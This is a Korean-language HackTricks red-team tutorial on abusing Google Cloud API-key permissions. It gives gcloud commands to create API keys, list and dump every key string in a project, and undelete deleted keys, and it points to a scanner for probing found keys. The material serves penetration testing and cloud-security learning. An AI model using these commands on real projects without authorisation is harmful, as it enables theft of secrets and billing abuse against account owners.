GCP - Apikeys Privesc

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Apikeys

다음 권한은 API 키를 생성하고 도용하는 데 유용합니다. 문서에서 언급되지 않은 것입니다: API 키는 주체 없이 응용 프로그램을 식별하는 간단한 암호화된 문자열입니다. 공개 데이터에 익명으로 액세스하는 데 유용하며, 할당량 및 청구를 위해 API 요청을 프로젝트와 연결하는 데 사용됩니다.

따라서 API 키를 사용하면 회사가 API 사용에 대해 지불하도록 할 수 있지만 권한 상승은 할 수 없습니다.

API 키에 대한 자세한 정보는 다음을 확인하세요:

pageGCP - API Keys Enum

API 키를 생성하는 다른 방법은 다음을 확인하세요:

pageGCP - Serviceusage Privesc

API 키 액세스 무차별 대입

프로젝트에서 어떤 API가 활성화되어 있는지 또는 찾은 API 키에 적용된 제한이 무엇인지 모를 수 있으므로 https://github.com/ozguralp/gmapsapiscanner 도구를 실행하여 API 키로 액세스할 수 있는 내용을 확인하는 것이 흥미로울 것입니다.

apikeys.keys.create

이 권한은 API 키를 생성하는 데 사용됩니다:

gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
"etag":"W/\"HOhA[...]==\"",
"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}

여기에서 취약한 환경의 생성, 악용 및 정리를 자동화하는 스크립트를 찾을 수 있습니다.

기본적으로 사용자는 새 프로젝트를 생성할 수 있는 권한을 가지며, 새 프로젝트에 Owner 역할이 부여됩니다. 따라서 사용자는 프로젝트를 생성하고 이 프로젝트 내에 API 키를 생성할 수 있습니다.

apikeys.keys.getKeyString , apikeys.keys.list

이 권한은 모든 apiKeys를 나열하고 가져오며, 키를 가져올 수 있게 해줍니다.

for  key  in  $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done

여기에서 취약한 환경의 생성, 악용 및 정리를 자동화하는 스크립트를 찾을 수 있습니다.

apikeys.keys.undelete , apikeys.keys.list

이 권한은 삭제된 API 키를 나열하고 재생성할 수 있게 해줍니다. API 키는 undelete 작업이 완료된 후 출력에 제공됩니다:

gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>

내부 OAuth 애플리케이션 생성하여 다른 작업자를 사칭하기

이 작업은 서비스 **clientauthconfig**에 속한다고 문서에 명시되어 있으므로, 이를 수행하는 방법은 다음 페이지를 확인하십시오:

pageGWS - Google Platforms Phishing
htARTE (HackTricks AWS Red Team Expert)를 통해 처음부터 끝까지 AWS 해킹을 배워보세요!

HackTricks를 지원하는 다른 방법:

最終更新